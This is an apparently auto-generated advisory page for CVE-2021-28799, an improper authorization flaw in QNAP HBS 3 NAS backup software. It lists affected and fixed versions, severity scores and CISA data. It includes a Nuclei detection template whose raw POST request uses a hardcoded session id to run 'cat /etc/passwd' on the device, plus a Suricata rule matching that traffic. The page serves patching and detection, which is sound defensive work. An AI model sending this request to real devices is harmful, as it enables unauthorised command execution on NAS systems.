CVE-2021-28799: QNAP NAS Improper Authorization Vulnerability

What it is

An improper authorization vulnerability has been reported to affect QNAP NAS running HBS 3 (Hybrid Backup Sync. ) If exploited, the vulnerability allows remote attackers to log in to a device. This issue affects: QNAP Systems Inc. HBS 3 versions prior to v16.0.0415 on QTS 4.5.2; versions prior to v3.0.210412 on QTS 4.3.6; versions prior to v3.0.210411 on QTS 4.3.4; versions prior to v3.0.210411 on QTS 4.3.3; versions prior to v16.0.0419 on QuTS hero h4.5.1; versions prior to v16.0.0419 on QuTScloud c4.5.1~c4.5.4. This issue does not affect: QNAP Systems Inc. HBS 2 . QNAP Systems Inc. HBS 1.3 .

Description quoted from the CVE record (assigned by qnap, published 2021-05-13).

Weakness: CWE-285 Improper Authorization

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since

2022-03-31

US federal deadline

2022-04-21

Ransomware use

Yes

Public exploit evidence (Exploit Observer)

Exploit Observer found 1 Nuclei template, 5 code repositories and 1 research write-up naming this CVE.

• Nuclei template (ProjectDiscovery)

Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.

See all 14 references on Exploit Observer

Live scores

EPSS

0.782
very likely to be attacked soon

VEDAS

0.989
strong exploit evidence

On CISA KEV

Yes, since 2022-03-31

Detection rule

Nuclei · Suricata

Thin horizontal line: the “likely exploited” threshold (EPSS 0.10, VEDAS 0.5). Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

Fixed versions stated in the CVE record: v16.0.0415, v3.0.210412, v3.0.210411, v16.0.0419.

CISA required action: Apply updates per vendor instructions.

Vendor guidance:

• https://nvd.nist.gov/vuln/detail/CVE-2021-28799

How to detect it

Nuclei template (active check)

QNAP HBS 3 - Remote Code Execution

An improper authorization vulnerability has been reported to affect QNAP NAS running HBS 3 (Hybrid Backup Sync. ) If exploited, the vulnerability allows remote attackers to log in to a device. This issue affects: QNAP Systems Inc.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (POST /cgi-bin/backup/hbs_mgnt.cgi); it decides using regex, status, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

nuclei -u https://your-host -t CVE-2021-28799.yaml

id: CVE-2021-28799

info:
  name: "QNAP HBS 3 - Remote Code Execution"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    An improper authorization vulnerability has been reported to affect QNAP NAS running HBS 3 (Hybrid Backup
    Sync. ) If exploited, the vulnerability allows remote attackers to log in to a device. This issue affects:
    QNAP Systems Inc.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2021-28799&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=qnap&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-28799
    cwe-id: CWE-285
  metadata:
    verified: false
  tags: cve,cve2021,qnap,qts,qutshero,hbs3,rce,vkev,kev,vuln
http:
  - raw:
      - |
        POST /cgi-bin/backup/hbs_mgnt.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=UTF-8

        {"act":"run_cmd","sid":"jisoosocoolhbsmgnt","cmd":"cat /etc/passwd"}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'admin:.*:0:0:'
          - '"cgi_log":'
          - '"result":'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200

CVE-2021-28799.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2021-28799 QNAP HBS 3 - Remote Code Execution. Add them to your Suricata rule set and reload.

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2021-28799 QNAP HBS 3 - Remote Code Execution"; flow:established,to_server; http.uri; content:"hbs_mgnt.cgi"; nocase; http.request_body; content:"etc/passwd"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2021-28799; reference:url,https://www.exploit.observer/?keyword=CVE-2021-28799&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=qnap&match=exact; sid:1010764; rev:1;)

CVE-2021-28799.rules on GitHub

Advisories on this CVE

• Synology warns of active C3RB3R (Cerber) ransomware hitting NAS devices through a patched DSM flaw (full advisory)

References

Government sources

• https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-28799 (government-resource)

Other references

• https://www.qnap.com/en/security-advisory/QSA-21-13 (x_refsource_MISC)

Other databases

• CVE record (cve.org)
• NVD
• Exploit Observer

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.